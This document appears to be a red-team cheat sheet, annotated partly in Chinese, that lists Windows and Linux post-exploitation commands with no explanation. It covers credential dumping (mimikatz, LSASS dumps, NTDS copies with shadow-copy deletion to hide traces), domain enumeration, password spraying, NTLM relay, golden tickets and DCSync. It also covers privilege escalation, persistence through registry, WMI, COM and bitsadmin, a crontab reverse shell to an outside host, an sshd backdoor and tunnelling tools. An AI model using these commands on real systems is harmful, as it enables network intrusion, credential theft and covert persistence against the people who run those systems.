1
procdump.exe -accepteula -ma lsass.exe lsass.dmp
2

3
mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
4

5
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
6

7
hashdump: post/windows/gather/smart_hashdump
8
cme smb <ip_range> -u <user> -p <password> -M lsassy
9
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

1
PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp
2

3
mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate"  "sekurlsa::logonpasswords" "!processprotect  /process:lsass.exe" "!-" #with mimidriver.sys

1
.\incognito.exe list_tokens -u
2
.\incognito.exe execute -c "<domain>\<user>" powershell.exe
3

4
use incognito
5
impersonate_token <domain>\\<user>

1
lazagne.exe all

1
diskshadow list shadows all
2

3
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
4
管理员权限执行
5
vssadmin create shadow /for=C:
6
利用卷影副本卷名拷贝ntds.dit文件与用注册表导出system.hive
7

8
copy \\?\GLOBALLROOT\Device\xxxxxxxxxx\windows\ntds\ntds.dit C:\ntds.dit reg sava hklm\system system.hive
9
//导出system.hive文件到注册表
10

11
vssadmin delete shadows /for=C: /quiet   //删除卷影，隐藏痕迹

1
ipconfig /all ------> 查询本机 IP 段，所在域等

1
net user ------> 本机用户列表
2
net localgroup administrators ------> 本机管理员[通常含有域用户]
3
net user /domain ------> 查询域用户
4
net group /domain ------> 查询域里面的工作组
5
net group "domain admins" /domain ------> 查询域管理员用户组
6
net localgroup administrators /domain ------> 登录本机的域管理员
7
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
8
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
9
net view /domain:domainname

1
dsquery computer domainroot -limit 65535 && net group "domain
2
computers" /domain ------> 列出该域内所有机器名
3
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
4
dsquery subnet ------>列出该域内网段划分
5
dsquery group && net group /domain ------>列出该域内分组
6
dsquery ou ------>列出该域内组织单位
7
dsquery server && net time /domain------>列出该域内域控制器

1
获取域密码策略 ：
2
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
3
enum4linx -u 'username' -p 'password' -P <IP>
4

5
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 不爆破，只测试单一的 user=password
6

7
cme smb <dc-ip> -u user.txt -p password.txt # 交叉爆破，根据密码策略，失败过多可能会被封禁

1
rpcclient $> lookupnames <name>
2

3
wmic useraccount get name,sid
4

5
auxiliary/admin/kerberos/ms14_068_kerberos_checksum
6
goldenPac.py -dc-ip <dc_ip> <domain>/<user>:'<password>'@<target>
7
kerberos::ptc "<ticket>"

1
CVE-2021-1675.py <domain>/<user>:<password>@<target> '\\<smb_server_ip>\<share>\inject.dll'

1
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>

1
use exploit/windows/smb/smb_relay   #常用于windows2003 / windows server2008
2
responder -I eth0 # 记得先关闭本机的 smb 和 http 服务
3

4
ntlmrelayx.py -tf targets.txt

1
ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug
2

3
ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug
4

5
ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access
6

7
getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

1
ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController
2

3
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

1
john --format=lm hash.txt
2

3
hashcat -m 3000 -a 3 hash.txt

1
john --format=nt hash.txt
2

3
hashcat -m 1000 -a 3 hash.txt

1
john --format=netntlm hash.txt
2

3
hashcat -m 5500 -a 3 hash.txt

1
john --format=netntlmv2 hash.txt
2

3
hashcat -m 5600 -a 0 hash.txt rockyou.txt

1
john spn.txt --format=krb5tgs --wordlist=rockyou.txt
2

3
hashcat -m 13100 -a 0 spn.txt rockyou.txt

1
hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

1
privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
2

3
Rubeus dump /service:krbtgt /nowrap
4

5
Rubeus dump /luid:0xdeadbeef /nowrap

1
Get-NetComputer -Unconstrained
2

3
Get-DomainComputer -Unconstrained -Properties DnsHostName
4

5
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
6

7
MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

1
privilege::debug sekurlsa::tickets /export sekurlsa::tickets /
2

3
Rubeus dump /service:krbtgt /nowrap
4

5
Rubeus dump /luid:0xdeadbeef /nowrap

1
Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
2

3
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
4

5
MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p

1
Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData|select objectsid
2

3
mimikatz lsadump::trust
4

5
kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt

1
"lsadump::trust /patch"
2
"lsadump::lsa /patch"
3

4
"kerberos::golden /user:Administrator /domain:<domain> /sid:
5
<domain_SID> /rc4:<trust_key> /service:krbtgt /target:<target_domain> /ticket:
6
<golden_ticket_path>"

1
利用ptintbug或petipotam漏洞使其它林的DC主动连接到本林的一台无约束委派主机，同时抓取发送过来的TGT，然后即可将它用于dcsync攻击

1
privilege::debug
2
misc::memssp

1
mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"

1
Powerview.ps1
2
Add-DomainObjectAcl -TargetIdentity "DC=vulntarget,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

1
mimikatz "lsadump::dcsync /domain:vulntarget.com /all /csv"

1
crontab -l
2
ls -alh /var/spool/cron
3
ls -al /etc/ | grep cron
4
ls -al /etc/cron*
5
cat /etc/cron*
6
cat /etc/at.allow
7
cat /etc/at.deny
8
cat /etc/cron.allow
9
cat /etc/cron.deny
10
cat /etc/crontab
11
cat /etc/anacrontab
12
cat /var/spool/cron/crontabs/root

1
find / -user root -perm -4000 -print 2>/dev/null
2
find / -perm -u=s -type f 2>/dev/null
3
find / -user root -perm -4000 -exec ls -ldb {} \;

1
cd /tmp
2
echo “/bin/sh” > ps
3
chmod 777 ps
4
echo $PATH
5
export PATH=/tmp:$PATH
6
cd /home/raj/script
7
./shell
8
whoami

1
cat /var/apache2/config.inc
2
cat /var/lib/mysql/mysql/user.MYD
3
cat /root/anaconda-ks.cfg

1
cat ~/.bash_history
2
cat ~/.nano_history
3
cat ~/.atftp_history
4
cat ~/.mysql_history
5
cat ~/.php_history

1
grep -i user [filename]
2
grep -i pass [filename]
3
grep -C 5 "password" [filename]
4
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

1
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
2
$StaticClass.Name = 'Win32_Command'
3
$StaticClass.Put()
4
$StaticClass.Properties.Add('Command' , $Payload)
5
$StaticClass.Put()

1
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

1
type putty.exe > ...:putty.exe
2
wmic process call create c:\test\ads\...:putty.exe

1
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
2
wmic process call create \\.\C:\test\ads\COM1:putty.exe

1
type putty.exe >C:\:putty.exe
2
wmic process call create C:\:putty.exe

1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
3
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

1
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

1
sc create [ServerName] binPath= BinaryPathName

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

1
HKEY_LOCAL_MACHINE\Software\Classes
2
HKEY_CLASSES_ROOT

1
bitsadmin /create backdoor
2
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
3
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
4
bitsadmin /Resume backdoor

1
pragma namespace("\\\\.\\root\\subscription")
2
instance of __EventFilter as $EventFilter
3
{
4
EventNamespace = "Root\\Cimv2";
5
Name = "filtP1";
6
Query = "Select * From __InstanceModificationEvent "
7
"Where TargetInstance Isa \"Win32_LocalTime\" "
8
"And TargetInstance.Second = 1";
9
QueryLanguage = "WQL";
10
};
11
instance of ActiveScriptEventConsumer as $Consumer
12
{
13
Name = "consP1";
14
ScriptingEngine = "JScript";
15
ScriptText = "GetObject(\"script:https://host.com/test\")";
16
};
17
instance of __FilterToConsumerBinding
18
{
19
Consumer = $Consumer;
20
Filter = $EventFilter;
21
};

1
mofcomp test.mof

1
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
2

3
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
4

5
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

1
function Invoke-ScheduledTaskComHandlerUserTask
2
{
3
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
4
Param (
5
[Parameter(Mandatory = $True)]
6
[ValidateNotNullOrEmpty()]
7
[String]
8
$Command,
9

10
[Switch]
11
$Force
12
)
13
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
14
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
15
New-Item $ScheduledTaskCommandPath -Force |
16
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
17
}else{
18
Write-Verbose "Key already exists, consider using -Force"
19
exit
20
}
21

22
if (Test-Path $ScheduledTaskCommandPath) {
23
Write-Verbose "Created registry entries to hijack the UserTask"
24
}else{
25
Write-Warning "Failed to create registry key, exiting"
26
exit
27
}
28
}
29
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose

1
netsh add helper c:\test\netshtest.dll

1
HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
2
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
3
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
4
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}

1
New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null

1
#!bash
2
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

1
#!bash
2
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

1
#!bash
2
cd /usr/sbin
3
mv sshd ../bin
4
echo '#!/usr/bin/perl' >sshd
5
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
6
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
7
chmod u+x sshd
8
//不用重启也行
9
/etc/init.d/sshd restart
10
socat STDIO TCP4:192.168.206.142:22,sourceport=13377

1
#!bash
2
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

1
./cymothoa -p 2270 -s 1 -y 7777
2
nc -vv ip 7777

1
ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
2
(输入外网主机的SSH口令)

1
ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
2
(输入内网主机的SSH口令)

1
$ vim /etc/proxychains.conf
2
[ProxyList]
3
socks4 127.0.0.1 8080

1
proxychains nc -nv 10.0.2.5 3306

1
python reGeorgSocksProxy.py -p 8080 -h 0.0.0.0 -u http://aaa.com/tunnel.jsp

1
Linux:
2
chmod +x /tmp/stinger_server
3
nohup /tmp/stinger_server>/dev/null nohup.out &
4

5
Windows: start D:/XXX/stinger_server.exe

1
./stinger_client -w http://aaa.com/proxy.jsp -l 0.0.0.0 -p 60000

1
./frps -c frps.ini

1
[common]
2
bind_port = 8080
3
tls_only = true
4
tcp_mux = true
5
privilege_token = token123
6
kcp_bind_port = 8080

1
Linux:
2
chmod +x /tmp/frpc-x86
3
nohup /tmp/frpc-x86 -c /tmpfrpc.ini>/dev/null nohup.out &
4

5
Windows
6
frpc -c frpc.ini

1
lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
2
lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389

1
lcx.exe -listen 6666 2222

1
lcx.exe -tran 66 192.168.183.168 3389

1
ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host

1
ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx

1
ssh -R [bind_addr:]remote1_port:host:port remote1

1
ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195

1
ssh -D [bind_addr:]port remote

1
ssh -Nfg -D 3333 root@45.77.xx.xx

1
ssh -L 45.77.xx.xx:1111:192.168.183.2:80 root@192.168.183.1